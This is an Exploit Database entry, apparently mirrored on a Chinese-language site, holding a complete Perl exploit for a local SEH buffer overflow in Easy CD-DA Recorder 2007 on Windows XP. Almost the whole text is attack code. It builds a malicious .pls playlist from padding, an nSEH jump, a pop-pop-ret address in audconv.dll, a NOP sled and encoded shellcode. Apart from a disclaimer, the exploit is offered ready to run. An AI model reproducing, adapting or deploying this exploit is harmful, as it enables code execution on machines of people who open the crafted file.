Easy CD-DA Recorder 2007 – Local Buffer Overflow (SEH)

• Exploit Database
• 16 阅读

• 作者： chap0
  日期： 2010-06-07
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/13761/

• # Exploit Title : Easy CD-DA Recorder 2007 SEH Buffer Overflow 
  # Date: June 7, 2010
  # Author: chap0 [http://www.seek-truth.net]
  # Software Link : http://download.cnet.com/Easy-CD-DA-Recorder/3000-2646_4-10059726.html
  # Tested on : Windows XP SP3 En
  # Type of vuln: SEH
  # Greetz to : Corelan Security Team
  # The Crew		: http://www.corelan.be:8800/index.php/security/corelan-team-members/
  # Advisory		: http://www.corelan.be:8800/advisories.php?id=CORELAN-10-048
  # --------------------------------------------------------------------------------------
  # Script provided 'as is', without any warranty.
  # Use for educational purposes only.
  # Do not use this code to do anything illegal !
  # Corelan does not want anyone to use this script
  # for malicious and/or illegal purposes
  # Corelan cannot be held responsible for any illegal use.
  #
  # Note : you are not allowed to edit/modify this code.
  # If you do, Corelan cannot be held responsible for any damages this may cause.
  #
  # Code :
  print "|------------------------------------------------------------------|\n";
  print "| __ __|\n";
  print "| _________________/ /___ _____ / /________ _____ ___|\n";
  print "|/ ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\ / __/ _ \\/ __ `/ __ `__ \\ |\n";
  print "| / /__/ /_/ / //__/ / /_/ / / / // /_/__/ /_/ / / / / / / |\n";
  print "| \\___/\\____/_/ \\___/_/\\__,_/_/ /_/ \\__/\\___/\\__,_/_/ /_/ /_/|\n";
  print "||\n";
  print "| http://www.corelan.be:8800 |\n";
  print "||\n";
  print "|-------------------------------------------------[ EIP Hunters ]--|\n\n";
  print "[+] Exploit for Easy CD-DA Recorder \n";
  print "[+] Preparing payload\n";
  sleep(1);
  my $junk="\x41" x 1108;
  
  my $nseh="\xeb\x06\x90\x90";
  
  my $seh= "\x70\x80\x08\x10"; # ppr 0x10088070 [audconv.dll] 
  
  my $nops="\x90" x 24;
  
  my $shellcode=
  "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
  "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
  "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
  "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
  "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54".
  "\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x44\x4e\x53\x4b\x48\x4e\x47".
  "\x45\x50\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x51\x4b\x38".
  "\x4f\x35\x42\x42\x41\x50\x4b\x4e\x49\x54\x4b\x38\x46\x43\x4b\x38".
  "\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x38\x42\x4c".
  "\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".
  "\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x38".
  "\x4f\x45\x46\x52\x41\x30\x4b\x4e\x48\x36\x4b\x58\x4e\x50\x4b\x34".
  "\x4b\x58\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x4b\x38\x4e\x31\x4b\x48".
  "\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x43".
  "\x42\x4c\x46\x56\x4b\x38\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x47".
  "\x4e\x30\x4b\x58\x42\x34\x4e\x30\x4b\x38\x42\x57\x4e\x51\x4d\x4a".
  "\x4b\x48\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x58\x42\x4b".
  "\x42\x50\x42\x30\x42\x50\x4b\x38\x4a\x46\x4e\x53\x4f\x35\x41\x53".
  "\x48\x4f\x42\x56\x48\x55\x49\x48\x4a\x4f\x43\x48\x42\x4c\x4b\x37".
  "\x42\x45\x4a\x46\x42\x4f\x4c\x48\x46\x30\x4f\x55\x4a\x46\x4a\x39".
  "\x50\x4f\x4c\x48\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x56\x41\x56".
  "\x4e\x46\x43\x46\x42\x30\x5a";
  
  $padding = "\x41" x 10000;
  
  my $payload = $junk.$nseh.$seh.$nops.$shellcode.$padding;
  
  open (myfile, '>easy.pls');
  
  print myfile $payload;
  
  close (myfile);
  
  print "[+] Storm the Gates of Hell\n"